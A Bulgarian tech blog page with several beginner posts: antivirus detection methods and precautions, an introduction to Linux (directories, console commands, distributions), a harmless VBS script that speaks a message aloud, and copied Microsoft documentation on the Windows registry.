* Stealth вируси: по време на тестовете си антивирусните програми четат файловете и системните области на устройствата, използвайки средствата на операционната система и BIOS. Множество вируси след активирането си оставят в оперативната памет специални модули, прихващащи обръщането на програмата към дисковата подсистема. Ако такъв модул забележи, че някое приложение се опитва да прочете заразен файл, той сменя в движение данните, все едно, че файлът е чист. Така вирусът остава незабелязан. Все пак начин за борба с този тип съществува. Необходимо е компютърът да се рестартира от чиста системна дискета и веднага да се стартира антивирусната програма. Така се изключва възможността в оперативната памет да попаднат stealth модулите. Има и антивирусни програми, откриващи stealth вирусите още при опита им да се маскират, но все пак методът със системна дискета е за препоръчване.

Повечето потребители са на мнение, че умеят да се предпазват от вируси. При всяко стартиране на компютъра им резидентно се зарежда някаква антивирусна програма. Те винаги тестват за вируси програмите, с които са се сдобили от познати или свалили от Интернет. И не рядко тези хора, без да имат вина за това, живеят в заблуждение, че машините им са чисти, докато скрилият се вирус не се активира и не съсипе резултатите от тяхната работа. Причините за това са няколко. Обикновено става дума за неправилно подбран или неактуализиран своевременно антивирусен софтуер. Разбира се, възможно е мутирал вирус да заблуди и най-добрата антивирусна програма.

Без съмнение основно оръжие в борбата с вирусите са антивирусните програми. Те позволяват откриването и отстраняването им. При наличието на толкова голям брой вируси изборът на оптимално приложение за борба с тях не е лек. Кое е най-доброто? Едва ли някой би се наел да отговори еднозначно на този въпрос. Възможен вариант е да се ползват всички, до които потребителят е успял да се добере, но така твърде много се увеличава времето за проверка. Така че изборът на конкретна програма трябва да бъде направен. За улеснение на избора е добре да сте осведомени за методите, използвани от различните програми, като не е задължително антивирусните програми да ползват всички методики.

Сканиране: най-разпространеният метод за търсене на вируси. То се заключава в претърсване за сигнатури на предварително открити вируси. Недостатък е на скенерите е невъзможността им да се справят със stealth вируси. За целта са необходими по-сложни алгоритми, включващи евристичен анализ на проверяваните програми. Освен това скенерите не могат да открият не съдържащ се в списъка им вирус. Тъй като нови вируси излизат всеки ден, сканиращите програми остаряват още в момента на появата си.

Евристичен анализ: той често се използва паралелно със сканирането за откриване на шифроващи се и полиморфни вируси. В много случаи евристичният анализ помага за откриване и на нови, неизвестни до момента вируси, въпреки че вероятно не би могъл да ги изчисти. Ако евристичен анализатор даде съобщение, че файл или boot сектор са заразени, трябва да се отнесете сериозно към този факт и да ги проверите основно с актуалните версии на антивирусните програми, с които разполагате.

Откриване на изменения: заразявайки компютъра, вирусът нанася промени: дописва кода си в заразения файл, изменя системните области на диска и т.н. Алгоритъмът се базира на откриване на такива промени. Антивирусната програма запомня характеристиките на невралгичните области и периодично ги проверява. Ако открие изменение, показва съобщение, че е възможно на компютъра да има вирус. Разбира се, изменението може да се дължи на надстройка на версията на операционната система или на факта, че някои програми записват в своя *.ЕХЕ файл данни.

Резидентни монитори: антивирусни програми, намиращи се постоянно в оперативната памет и проследяващи подозрителните действия на останалите приложения. Тези програми имат много недостатъци, например изобилие от дразнещи съобщения, повечето от които нямат нищо общо с вирусите. Обикновено потребителите ги изтърпяват само няколко минути, след което ги деактивират.

Най-добрата защита е нападението
Колкото по-рано започнете да се подготвяте срещу вирусната атака, толкова по-добре, въпреки че дори напреднали потребители и системни администратори подценяват важността на проблема. Едва когато вирус съсипе порядъчно количество информация, те са готови да дадат всичко, стига той да бъде отстранен, а информацията възстановена. Ще си спестите много нерви и средства, ако вземете навреме нужните предохранителни мерки. Освен избора на подходящ за вас антивирусен софтуер трябва да предприемете и някои други действия, които и без друго ще ви бъдат от полза.

Едно от първите неща е създаването на системна дискета. Подчертаваме, че това трябва да стане на гарантирано чист компютър. Добре е тя да съдържа драйвъри за някои устройства, например CD-ROM, както и инструменти за форматиране на диск (format), трансфер на операционната система (sys) и ремонт на файловата система (scandisk). Тя ще ви бъде полезна не само в случай на проблеми с вируси.

Периодично (и възможно по-често) проверявайте дали на компютъра ви са се появили вируси. Тествайте всички файлове, а не само изпълнимите. Заредете в autoexec.bat предпочитаната антивирусна програма. В случай на несигурност се консултирайте със специалист. Стартирайте компютъра от системна дискета, преди да отстранявате вирусите. Не използвайте Ctrl+Alt+Del, а Reset.

Уверете се, че сте стартирали от дискетата, а не от хард диска, тъй като съществуват вируси, ловко подменящи порядъка на устройство, от което се зарежда операционната система. Задължително проверявайте всички файлове, които възнамерявате да копирате на компютъра си. Внимавайте и с файловете, създадени от MS Office. Веднага след инсталацията му открийте файла normal.dot и го направете read only. Следете за нови версии на антивирусните програми или update на списъците им с вируси. Имайте предвид също, че голямата популярност на операционните системи на Microsoft е довела и до огромен брой вируси за тях, докато за OS/2, Unix/Linux вирусите са екзотика.

Прочети още ...

Linux ? Какво е Това ? Сравнения с Windows ?

Какво е Linux?


Linux е Unix подобна операционна система състояща се от ядро, което се нарича kernel, и допълнителен софтуер, необходим за функционирането и използването на системата. Разработва се под лиценза GNU GPL (General Public License) и се разпространява (в повечето случаи) свободно и безвъзмездно. Ядрото е създадено от Linus Torvalds със съдействието на разработчици от цял свят и е с отворен код. Това позволява на всеки, който има желание да си направи (компилира) собствено ядро на операционната система от изходния код (source code). Kernel-a сам по себе си не е достатъчен, за да използвате операционната система по нормален начин. Необходимо е към него да има и софтуер, или по-точно програми, чрез които да слушате музика, да сърфирате в Интернет, да комуникирате, да създавате документи и т.н. Повечето такива програми са разработени по проекта GNU за създаване и разпространение на свободен софтуер. Съвкупността от ядрото и тези програми се нарича дистрибуция. Видовете дистрибуции в света са хиляди и дори е възможно всеки желаещ и умеещ да си създаде сам своя собствена дистрибуция. Разликите между различните дистрибуции се дължат основно на различните начини за конфигуриране на системата, съвкупността от програмите, които са включени в съответната дистрибуция и начина на инсталирането им. Основното, което е необходимо, за да използвате нормално операционната система Linux, e графичната среда. Възможно е системата да се използва и без такава, но тогава всичко трябва да става чрез въвеждането и изпълнението на команди в конзолата (който е използвал DOS, ще разбере за какво става въпрос). Подобно на разнообразието на програмите за Linux, има и няколко различни графични среди, като основните от тях почти винаги са включени в дистрибуциите и на потребителя му се предоставя възможност да ги изпробва и да прецени коя отговаря по-добре на нуждите и предпочитанията му.
Ако трябва да бъдем точни, Linux е всъщност само ядрото на операционната система, но това наименование се е превърнало в нарицателно за всички операционни системи съдържащи в себе си Linux ядро. Също както Jeep за SUV моделите. Затова някои хора считат за по-коректно операционната система да се нарича GNU/Linux. Linux - за ядрото и GNU - за допълнителния софтуер. Основател на GNU проекта е Richard Stallman.

Разлики между Linux и Windows

Разликите са много и ако си мислите обратното, ще се окажете неподготвени, когато си инсталирате Linux и го стартирате. Сега ще спра на основните различия. Част от другите ще разберете по нататък в тази страница.

Както казах в началото Linux e свободен за разпространение, употреба и разработване.

Linux е стабилна и сигурна операционна система. Когато го ползвате можете да забравите за страха от вирусите и другите злонамерени приложения. Ще забравите и за омразните сини екрани на Windows.

Linux е многопотребителска операционна система. Това означава, че на един компютър с инсталиран Linux могат да се дадат права на няколко потребителя за вход в системата, като всеки от тях има възможност не само да си избере графичната среда, но и да има собствени настройки за почти всички програми, дори и за самия хардуер (резолюция на екрана, начин за възпроизвеждане на звука и др.). Потребителите са с ограничени права за конфигуриране на основните параметри, което увеличава и сигурността на системата. Винаги обаче има един потребител с неограничени възможности и права, който се нарича root. Той е администратора на системата. Не е препоръчително постоянно да използвате този потребител, защото ако объркате нещо, докато сте влезнали в системата като root, това ще се отрази на цялата система. Когато сте в системата като обикновен потребител, няма опасност да я унищожите.

Най-разпространените графични среди за Linux са локализирани на много езици, сред които е и българския.

Най-разпространените дистрибуции имат огледални страници в българското Интернет пространство, което позволява подновяването на системата с много висока скорост.

Видове файлови системи за твърди дискове. В момента са разпространени главно два вида файлови системи за Windows – FAT32 и NTFS. В Linux има много повече файлови системи, като основните от тях са: ReiserFS, Ext2FS, Ext3FS, JournaledFS. Linux e способен да „прочете“ файловете от всички изброени файлови системи, докато Windows може да „чете“ само от FAT32 и NTFS. Файловите системи на Linux почти нямат нужда от де-фрагментиране.


Организация на файловете в Linux


Главната директория, която включва всички останали директории се нарича root директория и се обозначава като „/“. Забележете начина на обозначението, защото в Linux пътищата на директориите и файловете се изписват именно чрез „/“, а не както в Windows c „\“. Ето пример за път на директория при двете операционни системи:

в Windows: c:\windows\system

в Linux: /home/user

Единствено потребителя root има неограничени права за четене и запис във всички директории.

Ето един пример как изглежда организацията на директориите в Linux.

Сега ще дам информация за някои от директориите:

/root – Тук може да влиза единствено потребителя root. Това е неговата директория. Там са личните му документи и настройките на програмите, които използва.

/home – Директорията на потребителите. Всеки потребител има своя поддиректория тук. Примерно директорията на потребителя Иван е: /home/ivan. В нея са разположени неговите документи и личните му настройки. Ако потребителя Иван пожелае, може да ограничи достъпа на другите потребители до неговата директорията (това не важи за root).

/dev – Тук се съдържат файлове с инструкции за третиране на хардуера на компютъра. Не се учудвайте, като видите файл /dev/cpu или /dev/cdrom. В тази папка има файлове и за хард-диска и неговите дялове. Диска, който е главен в системата, се обозначава като /dev/hda, а подчинения - /dev/hdb. Дяловете на съответния диск, се обозначават с цифра, по следния начин: /dev/hda1 – това е първия дял. Той се нарича и основен (primary partition). Един хард-диск може да има минимум 1 и максимум 4 основни дяла: /dev/hda1, /dev/hda2, /dev/hda3, /dev/hda4. Бройката на допълнителните дялове е неограничена и зависи само от размера им и размера на самия диск. Първия допълнителен дял естествено ще се нарича /dev/hda5.

/mnt – служи за „монтиране“ на дяловете на хард-диска, за да могат да бъдат достъпни за четене и запис. В тази директория трябва да направите поддиректории за всеки дял. Примерно /mnt/hda1 за /dev/hda1, /mnt/hda5 за /dev/hda5 и т.н. Създаването на директория чрез конзолата става с изпълнение на командата mkdir. За да създадете директорията /mnt/hda5, трябва да влезете в директорията /mnt, като напишете cd /mnt, a след това: mkdir hda5. За да монтирате съответния дял в неговата директория, трябва да изпълните следната команда: mount /dev/hda5 /mnt/hda5 (с командата umount можете да го раз-монтирате). Ако след това напишете в конзолата cd /mnt/hda5 ще влезете в дяла /dev/hda5 и ще можете да го използвате. Командата ls служи за изваждане на списък с файловете и поддиректориите в съответната директория. Аналог е на досовската команда dir. По нататък ще се спра по-подробно на работата с конзолата. Сега само ще добавя, че повечето дистрибуции още при инсталацията си откриват дяловете на хард-диска и си ги монтират автоматично. Ако това не се получи при вас, винаги може да направите така, че дяловете да се монтират автоматично при стартиране на системата, като редактирате файла /etc/fstab. Това е таблица, която оказва кой дял какъв е, къде трябва да се монтира и какви са възможностите за чете и запис върху него. Ето как изглежда този файл при мен:


# /etc/fstab: static file system information.
#
#
proc /proc proc defaults 0 0
/dev/hda5 / reiserfs notail 0 1
/dev/hda6 none swap sw 0 0
/dev/hdc /mnt/dvdrom iso9660 ro,user,noauto 0 0
/dev/fd0 /media/floppy0 auto rw,user,noauto 0 0
/dev/hda8 /mnt/storage auto users,gid=1001,umask=0002,utf8=true 1 0
/dev/hda1 /mnt/win auto users,gid=1001,umask=0002,utf8=true 1 0




/etc – в тази директория се намират конфигурационните файлове за управление на системата. Най-важните от тях имат разширение .conf и могат да се редактират чрез всеки текстов редактор. В зависимост от дистрибуцията, която изберете, може и да не ви се наложи да се занимавате с това. Повечето дистрибуции си имат графични инструменти, в които просто трябва да цъкнете няколко отметки и да въведете няколко думи, а редакцията на самия .conf файл става автоматично. Това се отнася и до файла /etc/fstab. Мисля да не се спирам по-подробно върху останалите директории. Ще кажа само, че всяка от тях си има определена цел. Ако искате да прочете допълнителна информация за директориите в Linux, вижте това.

Препоръчително е при инсталацията на Linux да му заделите един малък дял, който да използва в случай, че се изчерпа свободната памет на компютъра. Добре е размерът му да е 2 х размера на системната памет, но ако тя е 512 MB или повече, рамерът може и да е по-малък. Този дял се нарича swap и за друго не може да се използва. Не се учудвайте, ако видите, че Linux се стреми да напълни до максимум вашата RAM памет. Това е така, защото достъпа до информацията в нея е многократно по-бърз, отколкото от хард-диска.


Опериране с конзолата


Конзолата е терминален прозорец, който служи за въвеждане и изпълнение на команди. Това е начина да „комуникирате“ директно със системата. В зависимост от дистрибуцията, която изберете, повече или по-малко, но със сигурност ще ви се наложи да използвате конзолата. Ще покажа кои са някои от основните команди, които трябва да знаете.
Както казах по-горе, чрез командата cd можете да влезе от една директория, в нейна поддиректория. Примерно, ако сте в директорията /mnt, и искате да влезете в /mnt/hda1, пишете cd hda1. Aко обаче сте в /home/ivan и искате да получите същия резултат, е най-добре да напишете директно: cd /mnt/hda1. Ако искате да излезете от една директория, трябва да напишете „..“или „cd ..“ (без кавичките). Ако искате да отидете в най-главната директория, е достатъчно да напишете „cd /“. Ето и други основни команди:

ls показва списък на съдържанието на директорията.

mkdir (съкратено от make directory) създава нова директория.

cp (съкратено от copy) служи за копиране на един файл от една директория в друга. Ако искате да копирате файла music.mp3 от директорията на Иван в hda1, трябва да напишете: cp /home/ivan/music.mp3 /mnt/hda1.

mv (съкратено от move) – за преместване на файлове. Използва се както cp.

rm (съкратено от remove) – изтрива файлове. Използване:

rm /home/ivan/music.mp3



ВНИМАНИЕ! Сега е момента да уточня, че в Linux е от значение дали името на даден файл е от малки, големи букви или комбинация от двете. Ако в по-горния пример файлът се казва Music.mp3 или MUSIC.mp3, то той трябва и да се изпише по съответния начин.

Забележка: Много често файловете имат много дълги имена. Но има и добра новина – можете да използвате клавиша Tab на клавиатурата по следния начин:

Пример:

Искате да преместите файла /home/ivan/mnogodalagfile.mp3 в /mnt/hda1. Tогава пишете mv /home/ivan/mno и натискате табулацията. Името на файла ще се доизпише автоматично. Обаче ако в същата директория има още един файл, чиито първи букви са същите, ще трябва да натиснете табулацията 2 пъти. Тогава ще се покаже списък с всички файлове, които започват по този начин. С други думи ако в директорията са следните фалове: mnogodalagfile.mp3 и mnoxyz, в горния пример просто трябва да напишете mv /home/ivan/mnog и тогава да натиснете табулацията.




Инсталиране на програми в Linux


За разлика от Windows, в Linux (в повечето случаи) едно програмно приложение не е само за себе си и не може да се инсталира самостоятелно. Често то е в зависимост от още 2-3 приложения, които пък от своя страна може да са зависими от други 2-3 приложения. Но това да не ви стряска, защото всяка дистрибуция си има начин за автоматично разрешаване на зависимостите.

Има различни начини за инсталиране на дадена програма според начина, по който е приготвена за инсталация. Това зависи и от вида на дистрибуцията. Еднакъв начин за инсталиране на програми за всички дистрибуции е компилирането от изходен код. В този случай се сваля файл примерно с име filename.tar.gz. Това всъщност е архив, в който е компресиран изходния код на съответното приложение. След това архивът трябва да се разархивира чрез някой графичен инструмент или чрез изпълнение на командата

tar -zxvf filename.tar.gz

Тогава се създава нова директория, примерно с име filename, където се разархивира изходния код. Следващата ви стъпка е да влезете в тази директория и да потърсите за някой файл примерно с име readme или install, където да са написани подробни инструкции за инсталацията и какви други приложения са необходими да имате инсталирани на системата, за да инсталирате съответното приложение. Най-често компилирането от изходен код става по следния начин:

./configure – започва изследване на системата ви, проверяване на зависимостите и дали е възможно инсталирането. Ако нещо ви липсва, ще ви бъде съобщено

make – подготовка на приложението за инсталиране

make install – инсталиране на приложението. За да изпълните тази команда, обаче трябва да имате администраторски права. За да ги получите, трябва първо да напишете:

su (съкратено от super user)

паролата на root (ако докато я пишете не ви излизат нито букви, нито звездички или каквото и да е било друго, не се стряскайте. Това не означава, че нищо не пишете.)

Едва като влезете като su, можете да продължите с make install.

Има т.нар. „пакети“ с програми за дистрибуциите.

SuSE, Mandriva (бивш Mandrake), Fedora Core, Red Hat например използват .rpm пакети. Инсталират се чрез командата rpm -i ime_na_paket.rpm или чрез съответния графичен инструмент наличен в дистрибуцията.

Debian, Ubuntu, Mepis и всички останали Debian базирани дистрибуции използват .deb пакети, които се инсталират така: dpkg -i ime_na_paket.deb



Графични среди в Linux


Двете най-разпространени графични среди са KDE и GNOME. Освен тях обаче има още много: XFCE, Fluxbox, Enlightenment и др. Всяка графична среда си има своите предимства и недостатъци и кой, коя ще избере е въпрос на вкус. Сега ще ви дам моето мнение и впечатления от средите, които съм ползвал.

KDE – Любимото ми. Лично на мен много ми харесва. Недостатък е, че изисква доста системна памет и бърз процесор. Има разнообразни теми и приложения за промяна на външния вид. Красота за сметка на ресурси. Ето как изглежда десктопа ми, когато съм с KDE.

GNOME – много добра графична среда. Лека е, не тормози компютъра. Изчистена, лесна за използване, но според мен, не е приятна за окото. Така изглежда един GNOME.

XFCE – Още по-лека от предишната, но и с по-ограничени възможности. Така изглеждаше моето XFCE.

Enlightenment – също е лека, интересна е, но е много специфична и необичайна. Ето как изглежда.





Мога ли да използвам програми създадени за Windows под Linux?

Да, можете! Инструмента за тази цел се нарича wine и се разпространява свободно. За съжаление, обаче не всички програми могат да тръгнат чрез него. От Microsoft всячески се стремят да ограничат тази възможност. Друг подобен инструмент е Crossover Office, но той не е безплатен.




Мога ли да играя игри за Windows под Linux?

Отговора отново е положителен. Това става чрез Cedega. Програмата е платена, но може да ви излезе безплатна, ако си я компилирате сами от CVS. Всъщност някои Windows-ки игри си имат версии и за Linux, като Quake3, Doom3 и др. но за съжаление списъка не е никак дълъг. Е, има и много игри със свободна употреба, разработени специално за Linux.




Коя дистрибуция да избера?


Нямам представа, колко са наброй в света, но ще ви кажа как да се ориентирате. Влезте в http://distrowatch.com/ и в дясно на страницата ще видите кои са най-често използваните дистрибуции. Там има и препратки с допълнителна информация за тях и към главните им Интернет страници. Щом като някоя дистрибуция е много разпространена, явно е лесна за използване.

Сега ще споделя мнението си за дистрибуциите, които съм ползвал (по хронологичен ред).

Mandrake (Mandriva) – първия ми Linux. Има графична инсталация, която може да протече и на български език. Лесна е за използване, има много графични инструменти за конфигуриране на системата. Има 2 версии – платена и свободна. Последната се нарича Mandriva Linux Free. Разпространява се на 3 диска. За инсталация на нови програми и автоматично разрешаване на зависимости се използва инструмента urpmi.

SuSE – препоръчвам я на прохождащите в света на Linux. В нея е вграден графичния инструмент YaST, чрез който можете да настроите абсолютно всичко. Също има графична инсталация на български език. Разпространява се на 5 диска. Има две версии - платена и свободна. При инсталиране на допълнителен софтуер, ако необходимите програми ги има на 5-те диска, зависимостите се разрешават автоматично от YaST. Обаче, ако ги няма, ще трябва сами да си намерите необходимите приложения и да ги инсталирате. Все пак имате възможност да добавите дебианския инструмент apt-get и графичната му обвивка synaptic за да ви разрешава зависимостите.

Fedora Core – проект на Red Hat със свободно разпространение и използване. Също има графична инсталация на български език. Аз не останах с добри впечатления от тази дистрибуция. Стори ми се твърде специфична и не се занимавах много с нея. Инструмента за добавяне на софтуер се нарича yum. Разпространява се на 4 диска.

Ubuntu – бърза, лека и приятна дистрибуция. Базирана на Debian. Няма графична инсталация, но това не означава, че се инсталира трудно. Разпространява се на 1 диск, но след инсталацията може да избирате хиляди допълнителни програми за инсталиране от Интернет чрез apt-get и synaptic. Инсталира се само с една графична среда – GNOME, но после можете да си добавите каквото ви хареса. Иначе има и вариант с KDE, който се нарича Kubuntu.

Debian – разпространява се на 14 диска. Е, не е необходимо да ги сваляте всичките. Достатъчни са и първите 3. Аз се спрях на варианта за инсталиране чрез Net Install CD – съдържа ограничен състав от програми, достатъчни да подкарате инсталацията и да си свалите всичко останало, което ви е необходимо от българските огледални страници. Нужно е обаче да имате високоскоростна Интернет връзка. Няма графична инсталация, но не е твърде сложна. Все пак не препоръчвам дистрибуцията за начинаещи. Винаги има 3 версии: stable, testing и usntable. Ако не внимавате какви ги вършите, ще стане голяма каша. Допълнителен софтуер от Интернет се инсталира чрез командата apt-get, като автоматично се разрешават зависимостите. Synaptic е графична обвивка на apt-get. Спрял съм се на тази дистрибуция. Засега...

Повечето дистрибуции имат демонстративни версии, които се стартират от CD и ви дават възможност да се запознаете със системата, преди да я инсталирате. Наричат се Live. В Интернет дистрибуциите се разпространяват като .ISO файлове – CD Images. Записват се директно на CD. Най-често това се извършва чрез Nero, където има опция, която се намира във File > Burn Image to disk. След това компютъра се настройва да стартира от CD-Rom устройството и зареждането започва.

Tilix е българска Live дистрибуция, която също може да се инсталира на компютъра. Изцяло на български език. Базирана е на Ubuntu. Можете да започнете от нея. Особено ви я препоръчвам, ако сте зле с английския.

VS Live e друга българска дистрибуция подобна на Slackware. Също е изцяло на български и може да се инсталира на хард-диска.

Докато инсталирате някоя Linux дистрибуция, имате възможност да пре-оразмерите хард-диска си така, че да запазите наличната информация и да добавите новата операционна система. Windows и Linux могат да съжителстват на 1 хард-диск, но не и на 1 дял. Това е всъщност и най-добрия вариант, преди да мигрирате окончателно към Linux

Прочети още ...

Малко свалки с VBS

Една идея: Пратете на момичето което харесвате файл които като го отвори да и казва колко я обичате!

За целта ви трябва да си направите един нотпад файл да го отворите и да поставите тоя код по доло в него и да го запазите с разширение .vbs :)

Ето кода:

Dim msg, sapi
msg="I love u for ever to the end of world"
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg

Край на кода

Може да задавате каквато сикате стиност на msg стига да е на англииски или да пишете на български с латиница но произнушението е скапано

Прочети още ...

Информация относно редактирането на системния регистър

Microsoft препоръчва при редактирането на системния регистър да спазвате само стъпките, които са описани в документацията на Microsoft. При възможност използвайте потребителския интерфейс на Windows, вместо да редактирате директно регистъра.

Можете да редактирате системния регистър с помощта на регистърен редактор (Regedit.exe или Regedt32.exe). Неправилното използване на редактора на системния регистър може да предизвика сериозни проблеми, които да наложат преинсталиране на вашата операционна система. Microsoft не гарантира, че проблемите, възникнали вследствие на неправилното използване на редактор на системни регистъри, могат да бъдат разрешени. Използвайте редактора на системния регистър на свой собствен риск. За допълнителна информация относно разликите между Regedit.exe and Regedt32.exe щракнете върху номера на статия по-долу, за да я отворите в Базата знания на Microsoft:
141377 (http://support.microsoft.com/kb/141377/ ) Разликите между Regedit.exe и Regedt32.exe (Тази връзка може да сочи към съдържание, което е отчасти или изцяло на английски)
Преди да модифицирате системния регистър, направете негово резервно копие, за да може да го възстановите впоследствие при възникване на проблем. Уверете се, че знаете как се прави това. За допълнителна информация как да създадете резервно копие и как да възстановите системния регистър щракнете върху номерата по-долу, за да отворите съответните статии в Базата знания на Microsoft:
322756 (http://support.microsoft.com/kb/322756/ ) Създаване на резервно копие, редактиране и възстановяване на системния регистър в Windows XP и Windows Server 2003 (Тази връзка може да сочи към съдържание, което е отчасти или изцяло на английски)
322755 (http://support.microsoft.com/kb/322755/ ) Създаване на резервно копие, редактиране и възстановяване на системния регистър в Windows 2000
323170 (http://support.microsoft.com/kb/323170/ ) Създаване на резервно копие, редактиране и възстановяване на системния регистър в Windows NT 4.0 (Тази връзка може да сочи към съдържание, което е отчасти или изцяло на английски)
322754 (http://support.microsoft.com/kb/322754/ ) Създаване на резервно копие, редактиране и възстановяване на системния регистър в Windows 95, Windows 98 и Windows Me (Тази връзка може да сочи към съдържание, което е отчасти или изцяло на английски)
За да променят данните в системния регистър, програмите трябва да използват функциите на регистъра, дефинирани на следния сайт на MSDN:
http://msdn2.microsoft.com/en-us/library/ms724875.aspx (http://msdn2.microsoft.com/en-us/library/ms724875.aspx)
Администраторите могат да нанасят промени в системния регистър с помощта на редактора на регистъра (Regedit.exe или Regedt32.exe), Group Policy (Групови правила), System Policy (Системни правила), файловете на системния регистър (.reg) или чрез стартиране на скриптове (например файлове във формат VisualBasic script).

Забележка Системният регистър в 64-битовите версии на Windows XP и Windows Server 2003 е разделен на 32-битови и 64-битови ключове. Много от 32-битовите ключове имат същите имена като техните 64-битови еквиваленти и обратно. 64-битовата версия на редактора на системния регистър (Registry Editor), включена по подразбиране в 64-битовите версии на Windows XP и Windows Server 2003, показва 32-битовите ключове под следния възел:
HKEY_LOCAL_MACHINE\Software\WOW6432
За допълнителна информация как да разгледате системния регистър на 64-битовите версии на Windows щракнете върху номера по-долу и ще отворите съответната статия в Базата знания на Microsoft:
305097 (http://support.microsoft.com/kb/305097/ ) Разглеждане на системния регистър на 64-битовите версии на Windows (Тази връзка може да сочи към съдържание, което е отчасти или изцяло на английски)
Зоната за навигация на редактора на системния регистър съдържа папки. Всяка папка представлява предварително дефиниран ключ на локалния компютър. При дистанционен достъп до системния регистър на отдалечен компютър се появяват само два предварително дефинирани ключа: HKEY_USERS и HKEY_LOCAL_MACHINE. Следната таблица съдържа списък с предварително дефинираните ключове, използвани от системата. Максималната дължина на име на ключ е 255 знака. Сгъване на таблицатаРазгъване на таблицатаПапка/предварително дефиниран ключ Описание
HKEY_CURRENT_USER Съдържа корена на конфигурационната информация за потребителя, който в момента е (логнат) в системата. Тук се съхраняват папките, екранните цветове и настройките на контролния панел на потребителя. Тази информация е свързана с профила на потребителя. Понякога наименованието на този ключ се съкращава като "HKCU".
HKEY_USERS Съдържа всички заредени потребителски профили, съдържащи се на компютъра. HKEY_CURRENT_USER е подключ на HKEY_USERS. Понякога наименованието HKEY_USERS се съкращава като "HKU".
HKEY_LOCAL_MACHINE Съдържа специфична за конкретния компютър конфигурационна информация (за който и да е потребител). Понякога наименованието на този ключ се съкращава като "HKLM".
HKEY_CLASSES_ROOT Това е подключ на HKEY_LOCAL_MACHINE\Software. Благодарение на съхраняваната тук информация при отваряне на файл с помощта на Windows Explorer се осигурява стартирането на правилната програма. Понякога наименованието на този ключ се съкращава като "HKCR". В Windows 2000 и в по-късните версии на Windows тази информация се съхранява както под ключа HKEY_LOCAL_MACHINE, така и под HKEY_CURRENT_USER. Ключът HKEY_LOCAL_MACHINE\Software\Classes съдържа настройките по подразбиране, които могат да се прилагат към всички потребители на локалния компютър. Ключът HKEY_LOCAL_MACHINE\Software\Classes съдържа настройките по подразбиране, които могат да се прилагат към всички потребители на локалния компютър. Ключът HKEY_CLASSES_ROOT предоставя изглед на системния регистър, в който се слива информацията от тези два източника. Освен това HKEY_CLASSES_ROOT предоставя този общ вид и за програми, разработени за по-ранните версии на Windows. За да се променят настройките за интерактивния потребител, промените трябва да бъдат направени под HKEY_CURRENT_USER\Software\Classes, вместо под HKEY_CLASSES_ROOT. За да промените настройките по подразбиране, промените трябва да бъдат направени под HKEY_LOCAL_MACHINE\Software\Classes. Ако записвате ключове към някой ключ под HKEY_CLASSES_ROOT, системата запаметява информацията под HKEY_LOCAL_MACHINE\Software\Classes. Ако задавате стойности на ключ под HKEY_CLASSES_ROOT и ключът вече съществува под HKEY_CURRENT_USER\Software\Classes, системата ще съхрани информацията там, вместо под HKEY_LOCAL_MACHINE\Software\Classes.
HKEY_CURRENT_CONFIG Съдържа информация за хардуерния профил, използван от локалния компютър по време на стартиране на системата.
Следната таблица съдържа списък с видовете данни, които са дефинирани към настоящия момент и се използват от Windows. Максималната дължина на име на стойност е:
Windows Server 2003 и Windows XP: 16383 знака
Windows 2000: 260 ANSI знака или 16383 Unicode знака
Windows Millennium Edition/Windows 98/Windows 95: 255 знака
Дълги стойности (над 2048 байта) трябва да се съхраняват като файлове, а имената на тези файлове се пазят в системния регистър. Това помага за ефективната работа на системния регистър. Максималната дължина на стойност е:
Windows NT 4.0/Windows 2000/Windows XP/Windows Server 2003: Наличната памет
Windows Millennium Edition/Windows 98/Windows 95: 16300 байта
Забележка Съществува лимит от 64K за общия размер на всички стойности на ключ.
Двоична стойност REG_BINARY Неструктурирани двоични данни По-голямата част на информацията за хардуерните компоненти се съхранява като двоични данни и се показва в редактора на системния регистър (Registry Editor) в шестнадесетичен формат.
DWORD стойност REG_DWORD Данни, представяни с число с дължина 4 байта (32-битово цяло число). От този тип са много параметри за драйвери на устройства и услуги. Те се показват в редактора на системния регистър (Registry Editor) в двоичен, шестнадесетичен или десетичен формат. Свързаните с тях стойности са DWORD_LITTLE_ENDIAN (най-маловажният бит е в най-ниския адрес) и REG_DWORD_BIG_ENDIAN (най-маловажният бит е в най-високия адрес).
Стойност на низ, която може да се увеличава REG_EXPAND_SZ Низ от данни с променлива дължина. Този вид данни включва променливи, които се разрешават, когато програма или услуга използва данните.
Многонизова стойност REG_MULTI_SZ Съставен низ. Обикновено от този тип са стойности, които съдържат списъци или множество от стойности във форма, която хората могат да прочетат. Записите се разделят чрез шпации, запетаи или други маркиращи знаци.
Низова стойност REG_SZ Текстов низ с фиксирана дължина.
Двоична стойност REG_RESOURCE_LIST Серия от вложени масиви, създадена да съхранява списък с ресурси, който се използва от драйвер на хардуерно устройство или от едно от контролираните от него физически устройства. Тези данни се разпознават и записват от системата в дървото \ResourceMap. Те се показват в редактора на системния регистър (Registry Editor) в шестнадесетичен формат като двоична стойност.
Двоична стойност REG_RESOURCE_REQUIREMENTS_LIST Серия от вложени масиви, създадена да съхранява списък с драйвери на възможни хардуерни ресурси, които могат да се използват от драйвера или от едно от контролираните от него физически устройства. Системата записва подмножество на този списък в дървото \ResourceMap. Тези данни се разпознават от системата и се показват в редактора на системния регистър (Registry Editor) в шестнадесетичен формат като двоична стойност.
Двоична стойност REG_FULL_RESOURCE_DESCRIPTOR Серия от вложени масиви, създадена да съхранява списък с ресурси, който се използва от физическо хардуерно устройство. Тези данни се разпознават и записват от системата в дървото \HardwareDescription, и се показват в редактора на системния регистър (Registry Editor) в шестнадесетичен формат като двоична стойност.
Няма REG_NONE Дата без определен тип. Тези данни се записват в системния регистър от системата или приложни програми и се показват в редактора на системния регистър (Registry Editor) в шестнадесетичен формат като двоична стойност.
Препратка REG_LINK Символична препратка във формат Unicode.
QWORD стойност REG_QWORD Данни, представяни във вид на 64-битово цяло число. Тези данни се показват в редактора на системния регистър (Registry Editor) като двоични стойности. За първи път са въведени в Windows 2000.

"Кошерът" на регистъра е група от ключове, подключове и стойности в системния регистър, която има набор от поддържащи файлове, съдържащи резервни копия на нейните данни. Поддържащите файлове за всички "кошери" освен HKEY_CURRENT_USER са в папката Systemroot\System32\Config в Windows NT 4.0, Windows 2000, Windows XP и Windows Server 2003, а поддържащите файлове за HKEY_CURRENT_USER са в папката Systemroot\Profiles\Username. Разширенията на имената на файловете в тези папки, а понякога и липсата на разширение, посочват вида на данните, съдържащи се в тях.
HKEY_LOCAL_MACHINE\SAM Sam, Sam.log, Sam.sav
HKEY_LOCAL_MACHINE\Security Security, Security.log, Security.sav
